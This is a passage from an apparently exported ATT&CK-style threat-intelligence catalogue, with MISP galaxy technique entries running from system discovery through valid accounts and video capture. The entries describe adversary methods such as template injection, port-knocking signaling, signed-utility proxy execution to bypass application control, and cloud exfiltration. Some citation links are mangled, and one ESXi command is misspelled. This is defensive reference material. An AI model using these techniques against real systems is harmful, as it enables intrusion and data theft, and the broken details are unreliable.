[System Information Discovery](https://app.tidalcyber.com/technique/a2961a00-450e-45a5-b293-f699d9f3b4ea) combined with information gathered from other forms of discovery and reconnaissance can drive payload development and concealment.^{[[OSX.FairyTale](https://app.tidalcyber.com/references/27f8ad45-53d2-48ba-b549-f7674cf9c2e7)]}^{[[20 macOS Common Tools and Techniques](https://app.tidalcyber.com/references/3ee99ff4-daf4-4776-9d94-f7cf193c2b0c)]}

The tag is: *misp-galaxy:technique="System Information Discovery"*

System Location Discovery

Adversaries may gather information in an attempt to calculate the geographical location of a victim host. Adversaries may use the information from [System Location Discovery](https://app.tidalcyber.com/technique/90e6a093-3e87-4d74-8b68-38c7d7e5e93c) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

Adversaries may attempt to infer the location of a system using various system checks, such as time zone, keyboard layout, and/or language settings.^{[[FBI Ragnar Locker 2020](https://app.tidalcyber.com/references/38b9b8a3-6fd3-4650-9192-14ee3f302705)]}^{[[Sophos Geolocation 2016](https://app.tidalcyber.com/references/a3b7540d-20cc-4d94-8321-9fd730486f8c)]}^{[[Bleepingcomputer RAT malware 2020](https://app.tidalcyber.com/references/a587ea99-a951-4aa8-a3cf-a4822ae97490)]}
Windows API functions such as <code>GetLocaleInfoW</code> can also be used to determine the

locale of the host.^{[[FBI Ragnar Locker 2020](https://app.tidalcyber.com/references/38b9b8a3-6fd3-4650-9192-14ee3f302705)]} In cloud environments, an instance's availability zone may also be discovered by accessing the instance metadata service from the instance.^{[[AWS Instance Identity Documents](https://app.tidalcyber.com/references/efff0080-59fc-4ba7-ac91-771358f68405)]}^{[[Microsoft Azure Instance Metadata 2021](https://app.tidalcyber.com/references/66e93b75-0067-4cdb-b695-8f8109ef26e0)]}

Adversaries may also attempt to infer the location of a victim host using IP addressing, such as via online geolocation IP-lookup services.^{[[Securelist Trasparent Tribe 2020](https://app.tidalcyber.com/references/0db470b1-ab22-4b67-a858-472e4de7c6f0)]}^{[[Sophos Geolocation 2016](https://app.tidalcyber.com/references/a3b7540d-20cc-4d94-8321-9fd730486f8c)]}

The tag is: *misp-galaxy:technique="System Location Discovery"*

System Network Configuration Discovery

Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include [Arp](https://app.tidalcyber.com/software/45b51950-6190-4572-b1a2-7c69d865251e), [ipconfig](ifconfig(https://app.tidalcyber.com/software/93ab16d1-625e-4b1c-bb28-28974c269c47), [nbtstat](https://app.tidalcyber.com/software/81c2fc9b-8c2c-40f6-a327-dcdd64b70a7e), and [route](https://app.tidalcyber.com/software/3b755518-9085-474e-8bc4-4f9344d9c8af).

Adversaries may also leverage a [Network Device CLI](https://app.tidalcyber.com/technique/284bfbb3-99f0-4c3d-bc1f-ab74065b7907) on network devices to gather information about configurations and settings, such as IP addresses of configured interfaces and static/dynamic routes (e.g. <code>show ip route</code>, <code>show ip interface</code>).^{[[US-CERT-TA18-106A](https://app.tidalcyber.com/references/1fe55557-94af-4697-a675-884701f70f2a)]}^{[[Mandiant APT41 Global Intrusion](https://app.tidalcyber.com/references/9b75a38e-e5c7-43c8-a7fb-c7f212e00497)]} On ESXi, adversaries may leverage esxcli to gather network configuration information. For example, the command `esxcli network nic list` will retrieve the MAC address, while `esxcli network ip interface ipv4 get` will retrieve the local IPv4 address.^{[[Trellix Rnasomhouse 2024](https://app.tidalcyber.com/references/24ef15cc-1777-5be6-9729-dd16ce0c3729)]}

Adversaries may use the information from [System Network Configuration Discovery](https://app.tidalcyber.com/technique/adb6b8c1-2bdb-42b9-95da-5ce07e8796f7) during automated discovery to shape follow-on behaviors, including determining certain access within the target network and what actions to do next.

The tag is: *misp-galaxy:technique="System Network Configuration Discovery"*

System Network Connections Discovery

Adversaries may attempt to get a listing of network connections to or from the compromised

system they are currently accessing or from remote systems by querying for information over the network.

An adversary who gains access to a system that is part of a cloud-based environment may map out Virtual Private Clouds or Virtual Networks in order to determine what systems and services are connected. The actions performed are likely the same types of discovery techniques depending on the operating system, but the resulting information may include details about the networked cloud environment relevant to the adversary's goals. Cloud providers may have different ways in which their virtual networks operate.^{[[Amazon AWS VPC Guide](https://app.tidalcyber.com/references/7972332d-fbe9-4f14-9511-4298f65f2a86)]}^{[[Microsoft Azure Virtual Network Overview](https://app.tidalcyber.com/references/bf7f2e7a-f5ae-4b6e-8c90-fd41a92c4615)]}^{[[Google VPC Overview](https://app.tidalcyber.com/references/9ebe53cf-657f-475d-85e4-9e30f4af1e7d)]} Similarly, adversaries who gain access to network devices may also perform similar discovery activities to gather information about connected systems and services.

Utilities and commands that acquire this information include [netstat](https://app.tidalcyber.com/software/132fb908-9f13-4bcf-aa64-74cbc72f5491), "net use," and "net session" with [Net](https://app.tidalcyber.com/software/c9b8522f-126d-40ff-b44e-1f46098bd8cc). In Mac and Linux, [netstat](https://app.tidalcyber.com/software/132fb908-9f13-4bcf-aa64-74cbc72f5491) and <code>lsof</code> can be used to list current connections. <code>who -a</code> and <code>w</code> can be used to show which users are currently logged in, similar to "net session". Additionally, built-in features native to network devices and [Network Device CLI](https://app.tidalcyber.com/technique/284bfbb3-99f0-4c3d-bc1f-ab74065b7907) may be used (e.g. <code>show ip sockets</code>, <code>show tcp brief</code>).^{[[US-CERT-TA18-106A](https://app.tidalcyber.com/references/1fe55557-94af-4697-a675-884701f70f2a)]} On ESXi servers, the command `esxi network ip connection list` can be used to list active network connections.^{[[Sygnia ESXi Ransomware 2025](https://app.tidalcyber.com/references/177dd788-33d1-53f8-9419-2af3a78269ba)]}

The tag is: *misp-galaxy:technique="System Network Connections Discovery"*

System Owner/User Discovery

Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using [OS Credential Dumping](https://app.tidalcyber.com/technique/368f85f9-2b15-4732-80fe-087694eaf34d). The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://app.tidalcyber.com/technique/86e6f1f0-290b-4971-b50e-80e98a0a768b) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

Various utilities and commands may acquire this information, including <code>whoami</code>. In macOS and Linux, the currently logged in user can be identified with <code>w</code> and <code>who</code>. On macOS the <code>dscl . list /Users | grep -v '_'</code> command can also be

used to enumerate user accounts. Environment variables, such as <code>%USERNAME%</code> and <code>$USER</code>, may also be used to access this information.

On network devices, [Network Device CLI](https://app.tidalcyber.com/technique/284bfbb3-99f0-4c3d-bc1f-ab74065b7907) commands such as `show users` and `show ssh` can be used to display users currently logged into the device.^{[[show_ssh_users_cmd_cisco](https://app.tidalcyber.com/references/11d34884-4559-57ad-8910-54e517c6493e)]}^{[[US-CERT TA18-106A Network Infrastructure Devices 2018](https://app.tidalcyber.com/references/8fdf280d-680f-4b8f-8fb9-6b3118ec3983)]}

The tag is: *misp-galaxy:technique="System Owner/User Discovery"*

System Script Proxy Execution

Adversaries may use trusted scripts, often signed with certificates, to proxy the execution of malicious files. Several Microsoft signed scripts that have been downloaded from Microsoft or are default on Windows installations can be used to proxy execution of other files.^{[[LOLBAS Project](https://app.tidalcyber.com/references/14b1d3ab-8508-4946-9913-17e667956064)]} This behavior may be abused by adversaries to execute malicious files that could bypass application control and signature validation on systems.^{[[GitHub Ultimate AppLocker Bypass List](https://app.tidalcyber.com/references/a2fa7fb8-ddba-44cf-878f-448fb2aa6149)]}

The tag is: *misp-galaxy:technique="System Script Proxy Execution"*

System Service Discovery

Adversaries may try to gather information about registered local system services. Adversaries may obtain information about services using tools as well as OS utility commands such as <code>sc query</code>, <code>tasklist /svc</code>, <code>systemctl --type=service</code>, and <code>net start</code>.

Adversaries may use the information from [System Service Discovery](https://app.tidalcyber.com/technique/e0a347e2-2ac5-458b-ab0f-18d81b6d6055) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

The tag is: *misp-galaxy:technique="System Service Discovery"*

System Services

Adversaries may abuse system services or daemons to execute commands or programs. Adversaries can execute malicious content by interacting with or creating services either locally or remotely. Many services are set to run at boot, which can aid in achieving persistence ([Create or Modify System Process](https://app.tidalcyber.com/technique/f8aa018b-5134-4201-87f2-e55d20f40b17)), but adversaries can also abuse services for one-time or temporary execution.

The tag is: *misp-galaxy:technique="System Services"*

System Shutdown/Reboot

Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via [Network Device CLI](https://app.tidalcyber.com/technique/284bfbb3-99f0-4c3d-bc1f-ab74065b7907) (e.g. <code>reload</code>).^{[[Microsoft Shutdown Oct 2017](https://app.tidalcyber.com/references/c587f021-596a-4e63-ac51-afa2793a859d)]}^{[[alert_TA18_106A](https://app.tidalcyber.com/references/26b520dc-5c68-40f4-82fb-366d27fc0c2f)]} They may also include shutdown/reboot of a virtual machine via hypervisor / cloud consoles or command line tools.

Shutting down or rebooting systems may disrupt access to computer resources for legitimate users while also impeding incident response/recovery.

Adversaries may attempt to shutdown/reboot a system after impacting it in other ways, such as [Disk Structure Wipe](https://app.tidalcyber.com/technique/14a944d3-ab95-40d8-b069-ccc4824ef46d) or [Inhibit System Recovery](https://app.tidalcyber.com/technique/d207c03b-fbe7-420e-a053-339f4650c043), to hasten the intended effects on system availability.^{[[Talos Nyetya June 2017](https://app.tidalcyber.com/references/c76e806c-b0e3-4ab9-ba6d-68a9f731f127)]}^{[[Talos Olympic Destroyer 2018](https://app.tidalcyber.com/references/25a2e179-7abd-4091-8af4-e9d2bf24ef11)]}

The tag is: *misp-galaxy:technique="System Shutdown/Reboot"*

System Time Discovery

An adversary may gather the system time and/or time zone settings from a local or remote system. The system time is set and stored by services, such as the Windows Time Service on Windows or <code>systemsetup</code> on macOS.^{[[MSDN System Time](https://app.tidalcyber.com/references/5e15e03b-be8b-4f3d-a3ae-0df7a4ecfbec)]}^{[[Technet Windows Time Service](https://app.tidalcyber.com/references/0d908e07-abc1-40fc-b147-9b9fd483b262)]}^{[[systemsetup mac time](https://app.tidalcyber.com/references/a85bd111-a2ca-5e66-b90e-f52ff780fc5c)]} These time settings may also be synchronized between systems and services in an enterprise network, typically accomplished with a network time server within a domain.^{[[Mac Time Sync](https://app.tidalcyber.com/references/b36dd8af-045d-57b0-b0a9-45d831fe6373)]}^{[[linux system time](https://app.tidalcyber.com/references/2dfd22d7-c78b-5967-b732-736f37ea5489)]}

System time information may be gathered in a number of ways, such as with [Net](https://app.tidalcyber.com/software/c9b8522f-126d-40ff-b44e-1f46098bd8cc) on Windows by performing <code>net time \\hostname</code> to gather the system time on a remote system. The victim's time zone may also be inferred from the current system time or gathered by using <code>w32tm /tz</code>.^{[[Technet Windows Time Service](https://app.tidalcyber.com/references/0d908e07-abc1-40fc-b147-9b9fd483b262)]} In addition, adversaries can discover device uptime through functions such as <code>GetTickCount()</code> to determine how long it has been since the system booted up.^{[[Virtualization/Sandbox Evasion](https://app.tidalcyber.com/references/a3031616-f21a-574f-a9a5-a808a6230aa8)]}

On network devices, [Network Device CLI](https://app.tidalcyber.com/technique/284bfbb3-99f0-4c3d-bc1f-ab74065b7907) commands such as `show clock detail` can be used to see the current time configuration.^{[[show_clock_detail_cisco_cmd](https://app.tidalcyber.com/references/a2215813-31b0-5624-92d8-479e7bd1a30b)]} On ESXi servers, `esxcli system clock get` can be used for the same purpose.

In addition, system calls – such as <code>time()</code> – have been used to collect the current time on Linux devices.^{[[MAGNET GOBLIN](https://app.tidalcyber.com/references/955b6449-4cd5-5512-a5f3-2bcb91def3ef)]} On macOS systems, adversaries may use commands such as <code>systemsetup -gettimezone</code> or <code>timeIntervalSinceNow</code> to gather current time zone information or current date and time.^{[[System Information Discovery Technique](https://app.tidalcyber.com/references/6123fbd4-c6fc-504c-92f2-5d405730c298)]}^{[[ESET DazzleSpy Jan 2022](https://app.tidalcyber.com/references/212012ac-9084-490f-8dd2-5cc9ac6e6de1)]}

This information could be useful for performing other techniques, such as executing a file with a [Scheduled Task/Job]([RSA EU12 They're Inside(https://app.tidalcyber.com/references/8330ab88-9c73-4332-97d6-c1fb95b1a155)]</sup>, or to discover locality information based on time zone to assist in victim targeting (i.e. [System Location Discovery](https://app.tidalcyber.com/technique/90e6a093-3e87-4d74-8b68-38c7d7e5e93c)). Adversaries may also use knowledge of system time as part of a time bomb, or delaying execution until a specified date/time.^{[[AnyRun TimeBomb](https://app.tidalcyber.com/references/cd369bf9-80a8-426f-a0aa-c9745b40696c)]}

The tag is: *misp-galaxy:technique="System Time Discovery"*

Taint Shared Content

Adversaries may deliver payloads to remote systems by adding content to shared storage locations, such as network drives or internal code repositories. Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files. Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary's code on a remote system. Adversaries may use tainted shared content to move laterally.

A directory share pivot is a variation on this technique that uses several other techniques to propagate malware when users access a shared network directory. It uses [Shortcut Modification](https://app.tidalcyber.com/technique/bfde0a09-8109-41e4-b8c9-68fe20e8131b) of directory .LNK files that use [Masquerading](https://app.tidalcyber.com/technique/a0adacc1-8d2a-4e0b-92c1-3766264df4fd) to look like the real directories, which are hidden through [Hidden Files and Directories](https://app.tidalcyber.com/technique/14e81a2d-9eca-429c-9fb9-08e109de9f6c). The malicious .LNK-based directories have an embedded command that executes the hidden malware file in the directory and then opens the real intended directory so that the user's expected action still occurs. When used with frequently used network directories, the technique may result in frequent reinfections and broad access to systems and potentially to new and higher privileged accounts. ^{[[Retwin Directory Share Pivot](https://app.tidalcyber.com/references/027c5274-6b61-447a-9058-edb844f112dd)]}

Adversaries may also compromise shared network directories through binary infections by

appending or prepending its code to the healthy binary on the shared network directory. The malware may modify the original entry point (OEP) of the healthy binary to ensure that it is executed before the legitimate code. The infection could continue to spread via the newly infected file when it is executed by a remote system. These infections may target both binary and non-binary formats that end with extensions including, but not limited to, .EXE, .DLL, .SCR, .BAT, and/or .VBS.

The tag is: *misp-galaxy:technique="Taint Shared Content"*

Template Injection

Adversaries may create or modify references in user document templates to conceal malicious code or force authentication attempts. For example, Microsoft's Office Open XML (OOXML) specification defines an XML-based format for Office documents (.docx, xlsx, .pptx) to replace older binary formats (.doc, .xls, .ppt). OOXML files are packed together ZIP archives compromised of various XML files, referred to as parts, containing properties that collectively define how a document is rendered.^{[[Microsoft Open XML July 2017](https://app.tidalcyber.com/references/8145f894-6477-4629-81de-1dd26070ee0a)]}

Properties within parts may reference shared public resources accessed via online URLs. For example, template properties may reference a file, serving as a pre-formatted document blueprint, that is fetched when the document is loaded.

Adversaries may abuse these templates to initially conceal malicious code to be executed via user documents. Template references injected into a document may enable malicious payloads to be fetched and executed when the document is loaded.^{[[SANS Brian Wiltse Template Injection](https://app.tidalcyber.com/references/8c010c87-865b-4168-87a7-4a24db413def)]}
These documents can be delivered via other techniques such as [Phishing](https://app.tidalcyber.com/technique/d4a36624-50cb-43d3-95af-a2e10878a533) and/or [Taint Shared Content](https://app.tidalcyber.com/technique/58987d0d-2ebf-4783-90ac-5164fe9b9e43) and may evade static detections since no typical indicators (VBA macro, script, etc.) are present until after the malicious payload is fetched.^{[[Redxorblue Remote Template Injection](https://app.tidalcyber.com/references/bce1cd78-b55e-40cf-8a90-64240db867ac)]}
Examples have been seen in the wild where template injection was used to load malicious code containing an exploit.^{[[MalwareBytes Template Injection OCT 2017](https://app.tidalcyber.com/references/7ef0ab1f-c7d6-46fe-b489-fab4db623e0a)]}

Adversaries may also modify the <code>*\template</code> control word within an .rtf file to similarly conceal then download malicious code. This legitimate control word value is intended to be a file destination of a template file resource that is retrieved and loaded when an .rtf file is opened. However, adversaries may alter the bytes of an existing .rtf file to insert a template control word field to include a URL resource of a malicious payload.^{[[Proofpoint RTF Injection](https://app.tidalcyber.com/references/8deb6edb-293f-4b9d-882a-541675864eb5)]}^{[[Ciberseguridad Decoding malicious RTF files](https://app.tidalcyber.com/references/82d2451b-300f-4891-b1e7-ade53dff1126)]}

This technique may also enable [Forced Authentication](https://app.tidalcyber.com/technique/e732e1d4-fffa-4fc3-b387-47782c821688) by injecting a SMB/HTTPS (or other credential prompting)

URL and triggering an authentication attempt.^{[[Anomali Template Injection MAR 2018](https://app.tidalcyber.com/references/3cdeb2a2-9582-4725-a132-6503dbe04e1d)]}^{[[Talos Template Injection July 2017](https://app.tidalcyber.com/references/175ea537-2a94-42c7-a83b-bec8906ee6b9)]}^{[[ryhanson phishery SEPT 2016](https://app.tidalcyber.com/references/7e643cf0-5df7-455d-add7-2342f36bdbcb)]}

The tag is: *misp-galaxy:technique="Template Injection"*

Traffic Signaling

Adversaries may use traffic signaling to hide open ports or other malicious functionality used for persistence or command and control. Traffic signaling involves the use of a magic value or sequence that must be sent to a system to trigger a special response, such as opening a closed port or executing a malicious task. This may take the form of sending a series of packets with certain characteristics before a port will be opened that the adversary can use for command and control. Usually this series of packets consists of attempted connections to a predefined sequence of closed ports (i.e. [Port Knocking](https://app.tidalcyber.com/technique/34a112db-c61d-4ea2-872f-de3fc1af87a3)), but can involve unusual flags, specific strings, or other unique characteristics. After the sequence is completed, opening a port may be accomplished by the host-based firewall, but could also be implemented by custom software.

Adversaries may also communicate with an already open port, but the service listening on that port will only respond to commands or trigger other malicious functionality if passed the appropriate magic value(s).

The observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r ^{[[Hartrell cd00r 2002](https://app.tidalcyber.com/references/739e6517-10f5-484d-8000-8818d63e7341)]}, is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.

On network devices, adversaries may use crafted packets to enable [Network Device Authentication](https://app.tidalcyber.com/technique/195aa08b-15fd-4019-b905-8f31bc5e2094) for standard services offered by the device such as telnet. Such signaling may also be used to open a closed service port such as telnet, or to trigger module modification of malware implants on the device, adding, removing, or changing malicious capabilities. Adversaries may use crafted packets to attempt to connect to one or more (open or closed) ports, but may also attempt to connect to a router interface, broadcast, and network address IP on the same port in order to achieve their goals and objectives.^{[[Cisco Synful Knock Evolution](https://app.tidalcyber.com/references/29301297-8343-4f75-8096-7fe229812f75)]}^{[[Mandiant - Synful Knock](https://app.tidalcyber.com/references/1f6eaa98-9184-4341-8634-5512a9c632dd)]}^{[[Cisco Blog Legacy Device Attacks](https://app.tidalcyber.com/references/f7ce5099-7e04-4c0b-8767-e0eec664b18e)]} To enable this traffic signaling on embedded devices, adversaries must first achieve and leverage [Patch System Image](https://app.tidalcyber.com/technique/630a17c1-0176-4764-8f5c-a83f4f3e980f) due to the monolithic nature of the architecture.

Adversaries may also use the Wake-on-LAN feature to turn on powered off systems. Wake-on-LAN

is a hardware feature that allows a powered down system to be powered on, or woken up, by sending a magic packet to it. Once the system is powered on, it may become a target for lateral movement.^{[[Bleeping Computer - Ryuk WoL](https://app.tidalcyber.com/references/f6670b73-4d57-4aad-8264-1d42d585e280)]}^{[[AMD Magic Packet](https://app.tidalcyber.com/references/06d36dea-e13d-48c4-b6d6-0c175c379f5b)]}

The tag is: *misp-galaxy:technique="Traffic Signaling"*

Transfer Data to Cloud Account

Adversaries may exfiltrate data by transferring the data, including through sharing/syncing and creating backups of cloud environments, to another cloud account they control on the same service.

A defender who is monitoring for large transfers to outside the cloud environment through normal file transfers or over command and control channels may not be watching for data transfers to another account within the same cloud provider. Such transfers may utilize existing cloud provider APIs and the internal address space of the cloud provider to blend into normal traffic or avoid data transfers over external network interfaces.^{[[TLDRSec AWS Attacks](https://app.tidalcyber.com/references/b8de9dd2-3c57-5417-a24f-0260dff6afc6)]}

Adversaries may also use cloud-native mechanisms to share victim data with adversary-controlled cloud accounts, such as creating anonymous file sharing links or, in Azure, a shared access signature (SAS) URI.^{[[Microsoft Azure Storage Shared Access Signature](https://app.tidalcyber.com/references/9031357f-04ac-5c07-a59d-97b9e32edf79)]}

Incidents have been observed where adversaries have created backups of cloud instances and transferred them to separate accounts.^{[[DOJ GRU Indictment Jul 2018](https://app.tidalcyber.com/references/d65f371b-19d0-49de-b92b-94a2bea1d988)]}

The tag is: *misp-galaxy:technique="Transfer Data to Cloud Account"*

Trusted Developer Utilities Proxy Execution

Adversaries may take advantage of trusted developer utilities to proxy execution of malicious payloads. There are many utilities used for software development related tasks that can be used to execute code in various forms to assist in development, debugging, and reverse engineering.^{[[engima0x3 DNX Bypass](https://app.tidalcyber.com/references/e0186f1d-100d-4e52-b6f7-0a7e1c1a35f0)]}^{[[engima0x3 RCSI Bypass](https://app.tidalcyber.com/references/0b815bd9-6c7f-4bd8-9031-667fa6252f89)]}^{[[Exploit Monday WinDbg](https://app.tidalcyber.com/references/abd5f871-e12e-4355-af72-d4be79cb0291)]}^{[[LOLBAS Tracker](https://app.tidalcyber.com/references/f0e368f1-3347-41ef-91fb-995c3cb07707)]} These utilities may often be signed with legitimate certificates that allow them to execute on a system and proxy execution of malicious code through a trusted process that effectively bypasses application control solutions.

Smart App Control is a feature of Windows that blocks applications it considers potentially malicious from running by verifying unsigned applications against a known safe list from a Microsoft cloud service before executing them.<sup>[[Microsoft Smart App

Control](https://app.tidalcyber.com/references/7a6ca2e0-a16d-5c75-bb8b-4b72a838c193)]</sup> However, adversaries may leverage "reputation hijacking" to abuse an operating system's trust of safe, signed applications that support the execution of arbitrary code. By leveraging [Trusted Developer Utilities Proxy Execution](https://app.tidalcyber.com/technique/8811114c-a0cf-479c-b95d-c036467749e3) to run their malicious code, adversaries may bypass Smart App Control protections.^{[[Elastic Security Labs](https://app.tidalcyber.com/references/85bae892-d121-5db7-90e6-533868266ebb)]}

The tag is: *misp-galaxy:technique="Trusted Developer Utilities Proxy Execution"*

Trusted Relationship

Adversaries may breach or otherwise leverage organizations who have access to intended victims. Access through trusted third party relationship abuses an existing connection that may not be protected or receives less scrutiny than standard mechanisms of gaining access to a network.

Organizations often grant elevated access to second or third-party external providers in order to allow them to manage internal systems as well as cloud-based environments. Some examples of these relationships include IT services contractors, managed security providers, infrastructure contractors (e.g. HVAC, elevators, physical security). The third-party provider's access may be intended to be limited to the infrastructure being maintained, but may exist on the same network as the rest of the enterprise. As such, [Valid Accounts](https://app.tidalcyber.com/technique/a9b7eb2f-63e7-41bc-9d77-f7c4cede5406) used by the other party for access to internal network systems may be compromised and used.^{[[CISA IT Service Providers](https://app.tidalcyber.com/references/b8bee7f9-155e-4765-9492-01182e4435b7)]}

In Office 365 environments, organizations may grant Microsoft partners or resellers delegated administrator permissions. By compromising a partner or reseller account, an adversary may be able to leverage existing delegated administrator relationships or send new delegated administrator offers to clients in order to gain administrative control over the victim tenant.^{[[Office 365 Delegated Administration](https://app.tidalcyber.com/references/fa0ed0fd-bf57-4a0f-9370-e22f27b20e42)]}

The tag is: *misp-galaxy:technique="Trusted Relationship"*

Unsecured Credentials

Adversaries may search compromised systems to find and obtain insecurely stored credentials. These credentials can be stored and/or misplaced in many locations on a system, including plaintext files (e.g. [Bash History](https://app.tidalcyber.com/technique/065d1cca-8ca5-4f8b-a333-2340706f589e)), operating system or application-specific repositories (e.g. [Credentials in Registry](https://app.tidalcyber.com/technique/cdac2469-52ca-42a8-aefe-0321a7e3d658)), or other specialized files/artifacts (e.g. [Private Keys]([Brining MimiKatz to Unix(https://app.tidalcyber.com/references/5ad06565-6694-4c42-81c9-880d66f6d07f)]</sup>

The tag is: *misp-galaxy:technique="Unsecured Credentials"*

Unused/Unsupported Cloud Regions

Adversaries may create cloud instances in unused geographic service regions in order to evade detection. Access is usually obtained through compromising accounts used to manage cloud infrastructure.

Cloud service providers often provide infrastructure throughout the world in order to improve performance, provide redundancy, and allow customers to meet compliance requirements. Oftentimes, a customer will only use a subset of the available regions and may not actively monitor other regions. If an adversary creates resources in an unused region, they may be able to operate undetected.

A variation on this behavior takes advantage of differences in functionality across cloud regions. An adversary could utilize regions which do not support advanced detection services in order to avoid detection of their activity.

An example of adversary use of unused AWS regions is to mine cryptocurrency through [Resource Hijacking](https://app.tidalcyber.com/technique/d10c4a15-aeaa-4630-a7a3-3373c89a584f), which can cost organizations substantial amounts of money over time depending on the processing power used.^{[[CloudSploit - Unused AWS Regions](https://app.tidalcyber.com/references/7c237b73-233f-4fe3-b4a6-ce523fd82853)]}

The tag is: *misp-galaxy:technique="Unused/Unsupported Cloud Regions"*

Use Alternate Authentication Material

Adversaries may use alternate authentication material, such as password hashes, Kerberos tickets, and application access tokens, in order to move laterally within an environment and bypass normal system access controls.

Authentication processes generally require a valid identity (e.g., username) along with one or more authentication factors (e.g., password, pin, physical smart card, token generator, etc.). Alternate authentication material is legitimately generated by systems after a user or application successfully authenticates by providing a valid identity and the required authentication factor(s). Alternate authentication material may also be generated during the identity creation process.^{[[NIST Authentication](https://app.tidalcyber.com/references/f3cfb9b9-62f4-4066-a2b9-7e6f25bd7a46)]}^{[[NIST MFA](https://app.tidalcyber.com/references/2f069bb2-3f59-409e-a337-7c69411c8b01)]}

Caching alternate authentication material allows the system to verify an identity has successfully authenticated without asking the user to reenter authentication factor(s). Because the alternate authentication must be maintained by the system—either in memory or on disk—it may be at risk of being stolen through [Credential Access](https://app.tidalcyber.com/tactics/0c3132d5-c0df-4793-b5f2-1a95bd64ab53) techniques. By stealing alternate authentication material, adversaries are able to bypass system access controls and authenticate to systems without knowing the plaintext password or any additional authentication factors.

The tag is: *misp-galaxy:technique="Use Alternate Authentication Material"*

User Execution

An adversary may rely upon specific actions by a user in order to gain execution. Users may be subjected to social engineering to get them to execute malicious code by, for example, opening a malicious document file or link. These user actions will typically be observed as follow-on behavior from forms of [Phishing](https://app.tidalcyber.com/technique/d4a36624-50cb-43d3-95af-a2e10878a533).

While [User Execution](https://app.tidalcyber.com/technique/b84435ab-2ff4-4b6f-ba71-b4b815474872) frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after [Internal Spearphishing](https://app.tidalcyber.com/technique/4f4ea659-7653-4bfd-a525-b2af32c5899b).

Adversaries may also deceive users into performing actions such as:

- Enabling [Remote Access Tools](https://app.tidalcyber.com/technique/acf828f4-7e7e-43e1-bf15-ceab42021430), allowing direct control of the system to the adversary
- Running malicious JavaScript in their browser, allowing adversaries to [Steal Web Session Cookie]([Talos Roblox Scam 2023(https://app.tidalcyber.com/references/9371ee4a-ac23-5acb-af3f-132ef3645392)]</sup>^{[[Krebs Discord Bookmarks 2023](https://app.tidalcyber.com/references/1d0a21f4-9a8e-5514-894a-3d55263ff973)]}
- Downloading and executing malware for [User Execution](https://app.tidalcyber.com/technique/b84435ab-2ff4-4b6f-ba71-b4b815474872)
- Coerceing users to copy, paste, and execute malicious code manually^{[[Reliaquest-execution](https://app.tidalcyber.com/references/c6febbb5-b994-5996-a42d-56d4cb151e83)]}^{[[proofpoint-selfpwn](https://app.tidalcyber.com/references/8f00ffc0-7094-5fd9-8ed4-9c129fd93c05)]}

For example, tech support scams can be facilitated through [Phishing](https://app.tidalcyber.com/technique/d4a36624-50cb-43d3-95af-a2e10878a533), vishing, or various forms of user interaction. Adversaries can use a combination of these methods, such as spoofing and promoting toll-free numbers or call centers that are used to direct victims to malicious websites, to deliver and execute payloads containing malware or [Remote Access Tools]([Telephone Attack Delivery (https://app.tidalcyber.com/references/9670da7b-0600-4072-9ecc-65a918b89ac5)]</sup>

The tag is: *misp-galaxy:technique="User Execution"*

Valid Accounts

Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.^{[[volexity_0day_sophos_FW](https://app.tidalcyber.com/references/85bee18e-216d-4ea6-b34e-b071e3f63382)]} Compromised credentials may also grant an adversary increased

privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.

In some cases, adversaries may abuse inactive accounts: for example, those belonging to individuals who are no longer part of an organization. Using these accounts may allow the adversary to evade detection, as the original account user will not be present to identify any anomalous activity taking place on their account.^{[[CISA MFA PrintNightmare](https://app.tidalcyber.com/references/fa03324e-c79c-422e-80f1-c270fd87d4e2)]}

The overlap of permissions for local, domain, and cloud accounts across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise.^{[[TechNet Credential Theft](https://app.tidalcyber.com/references/5c183c97-0ab2-4b75-8dbc-9db92a929ff4)]}

The tag is: *misp-galaxy:technique="Valid Accounts"*

Video Capture

An adversary can leverage a computer's peripheral devices (e.g., integrated cameras or webcams) or applications (e.g., video call services) to capture video recordings for the purpose of gathering information. Images may also be captured from devices or applications, potentially in specified intervals, in lieu of video files.

Malware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture video or images. Video or image files may be written to disk and exfiltrated later. This technique differs from [Screen Capture](https://app.tidalcyber.com/technique/4462ce9d-0a5a-427d-8160-7b307b50cfbd) due to use of specific devices or applications for video recording rather than capturing the victim's screen.

In macOS, there are a few different malware samples that record the user's webcam such as FruitFly and Proton. ^{[[objective-see 2017 review](https://app.tidalcyber.com/references/26b757c8-25cd-42ef-bef2-eb7a28455d57)]}

The tag is: *misp-galaxy:technique="Video Capture"*

Virtualization/Sandbox Evasion

